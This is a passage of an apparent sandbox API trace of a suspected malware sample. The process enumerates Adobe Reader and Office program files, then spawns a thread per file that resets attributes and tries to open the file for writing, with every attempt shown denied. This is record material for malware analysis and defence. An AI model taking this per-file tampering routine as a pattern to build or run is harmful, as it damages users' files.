(_String1="zx______.pfm", _String2=".") returned 1 [0163.164] wcscmp (_String1="zx______.pfm", _String2="..") returned 1 [0163.164] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x12c76290 [0163.164] wcscpy (in: _Dest=0x12c76290, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" [0163.164] wcscat (in: _Dest=0x12c76290, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\" [0163.164] wcscat (in: _Dest=0x12c76290, _Source="zx______.pfm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm" [0163.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeec [0163.165] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 1 [0163.165] wcscmp (_String1="zy______.pfm", _String2=".") returned 1 [0163.165] wcscmp (_String1="zy______.pfm", _String2="..") returned 1 [0163.165] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x12c77460 [0163.165] wcscpy (in: _Dest=0x12c77460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" [0163.165] wcscat (in: _Dest=0x12c77460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\" [0163.166] wcscat (in: _Dest=0x12c77460, _Source="zy______.pfm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm" [0163.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c77460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef0 [0163.167] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x91e628 | out: lpFindFileData=0x91e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 0 [0163.167] FindClose (in: hFindFile=0x8da090 | out: hFindFile=0x8da090) returned 1 [0163.167] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91e628) returned 1 [0163.167] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c504a0) returned 1 [0163.168] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99dd88) returned 1 Thread: id = 4574 os_tid = 0x1ff0 [0159.907] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\sy______.pfb")) returned 0x20 [0159.907] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB", dwFileAttributes=0x20) returned 0 [0159.907] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\sy______.pfb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.907] GetLastError () returned 0x5 [0159.907] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB", dwFileAttributes=0x20) returned 0 [0159.907] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7838) returned 1 Thread: id = 4575 os_tid = 0x1ff4 [0159.908] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zx______.pfb")) returned 0x20 [0160.548] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB", dwFileAttributes=0x20) returned 0 [0160.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zx______.pfb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.548] GetLastError () returned 0x5 [0160.548] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB", dwFileAttributes=0x20) returned 0 [0160.548] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6998) returned 1 Thread: id = 4576 os_tid = 0x1ff8 [0159.909] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zy______.pfb")) returned 0x20 [0160.259] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB", dwFileAttributes=0x20) returned 0 [0160.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zy______.pfb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.260] GetLastError () returned 0x5 [0160.260] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB", dwFileAttributes=0x20) returned 0 [0160.260] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7328) returned 1 Thread: id = 4577 os_tid = 0x1ffc [0159.910] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf")) returned 0x20 [0159.910] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", dwFileAttributes=0x20) returned 0 [0159.910] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.910] GetLastError () returned 0x5 [0159.910] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", dwFileAttributes=0x20) returned 0 [0159.911] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae568) returned 1 Thread: id = 4578 os_tid = 0x760 [0159.911] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf")) returned 0x20 [0159.912] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", dwFileAttributes=0x20) returned 0 [0159.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.912] GetLastError () returned 0x5 [0159.912] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf", dwFileAttributes=0x20) returned 0 [0159.912] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934678) returned 1 Thread: id = 4579 os_tid = 0xa38 [0159.914] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf")) returned 0x20 [0159.914] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", dwFileAttributes=0x20) returned 0 [0159.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.914] GetLastError () returned 0x5 [0159.914] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf", dwFileAttributes=0x20) returned 0 [0159.915] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad668) returned 1 Thread: id = 4640 os_tid = 0xbc8 [0159.995] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Multimedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\multimedia.chs")) returned 0x20 [0162.920] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Multimedia.CHS", dwFileAttributes=0x20) returned 0 [0162.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Multimedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\multimedia.chs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.920] GetLastError () returned 0x5 [0162.920] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Multimedia.CHS", dwFileAttributes=0x20) returned 0 [0162.920] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad488) returned 1 Thread: id = 4699 os_tid = 0x750 Thread: id = 4700 os_tid = 0x4a8 [0160.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css")) returned 0x20 [0163.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css", dwFileAttributes=0x20) returned 0 [0163.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.019] GetLastError () returned 0x5 [0163.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css", dwFileAttributes=0x20) returned 0 [0163.019] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b338) returned 1 Thread: id = 4701 os_tid = 0x708 [0160.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css")) returned 0x20 [0163.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css", dwFileAttributes=0x20) returned 0 [0163.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.006] GetLastError () returned 0x5 [0163.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css", dwFileAttributes=0x20) returned 0 [0163.006] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4d90) returned 1 Thread: id = 4702 os_tid = 0x74c [0160.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css")) returned 0x20 [0163.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css", dwFileAttributes=0x20) returned 0 [0163.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.020] GetLastError () returned 0x5 [0163.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css", dwFileAttributes=0x20) returned 0 [0163.020] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f5350) returned 1 Thread: id = 4703 os_tid = 0x748 [0160.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif")) returned 0x20 [0163.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF", dwFileAttributes=0x20) returned 0 [0163.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.021] GetLastError () returned 0x5 [0163.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF", dwFileAttributes=0x20) returned 0 [0163.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f5408) returned 1 Thread: id = 4704 os_tid = 0x740 [0160.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif")) returned 0x20 [0163.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif", dwFileAttributes=0x20) returned 0 [0163.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.010] GetLastError () returned 0x5 [0163.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif", dwFileAttributes=0x20) returned 0 [0163.011] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6ec0) returned 1 Thread: id = 4705 os_tid = 0x738 [0160.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif")) returned 0x20 [0163.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif", dwFileAttributes=0x20) returned 0 [0163.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.012] GetLastError () returned 0x5 [0163.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif", dwFileAttributes=0x20) returned 0 [0163.012] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f54c0) returned 1 Thread: id = 4706 os_tid = 0x5d4 [0160.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif")) returned 0x20 [0161.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif", dwFileAttributes=0x20) returned 0 [0161.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.455] GetLastError () returned 0x5 [0161.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif", dwFileAttributes=0x20) returned 0 [0161.455] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6e00) returned 1 Thread: id = 4707 os_tid = 0x78c [0160.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif")) returned 0x20 [0162.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif", dwFileAttributes=0x20) returned 0 [0162.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.673] GetLastError () returned 0x5 [0162.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif", dwFileAttributes=0x20) returned 0 [0162.673] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6bc0) returned 1 Thread: id = 4708 os_tid = 0x598 [0160.351] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\accessibility.hrv")) returned 0x20 [0160.351] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV", dwFileAttributes=0x20) returned 0 [0160.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\accessibility.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.351] GetLastError () returned 0x5 [0160.351] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV", dwFileAttributes=0x20) returned 0 [0160.352] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934330) returned 1 Thread: id = 4709 os_tid = 0x5b8 [0160.353] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Acroform.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\acroform.hrv")) returned 0x20 [0160.353] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Acroform.HRV", dwFileAttributes=0x20) returned 0 [0160.353] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Acroform.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\acroform.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.354] GetLastError () returned 0x5 [0160.354] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Acroform.HRV", dwFileAttributes=0x20) returned 0 [0160.354] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae108) returned 1 Thread: id = 4710 os_tid = 0x5d0 [0160.355] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\AdobeCollabSync.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\adobecollabsync.hrv")) returned 0x20 [0160.355] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\AdobeCollabSync.HRV", dwFileAttributes=0x20) returned 0 [0160.355] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\AdobeCollabSync.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\adobecollabsync.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.356] GetLastError () returned 0x5 [0160.356] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\AdobeCollabSync.HRV", dwFileAttributes=0x20) returned 0 [0160.356] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c8080) returned 1 Thread: id = 4711 os_tid = 0x644 [0160.357] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Annots.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\annots.hrv")) returned 0x20 [0160.357] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Annots.HRV", dwFileAttributes=0x20) returned 0 [0160.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Annots.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\annots.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.358] GetLastError () returned 0x5 [0160.358] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Annots.HRV", dwFileAttributes=0x20) returned 0 [0160.358] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8830) returned 1 Thread: id = 4712 os_tid = 0x278 [0160.359] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\BRdlang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\brdlang32.hrv")) returned 0x20 [0160.359] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\BRdlang32.HRV", dwFileAttributes=0x20) returned 0 [0160.359] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\BRdlang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\brdlang32.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, 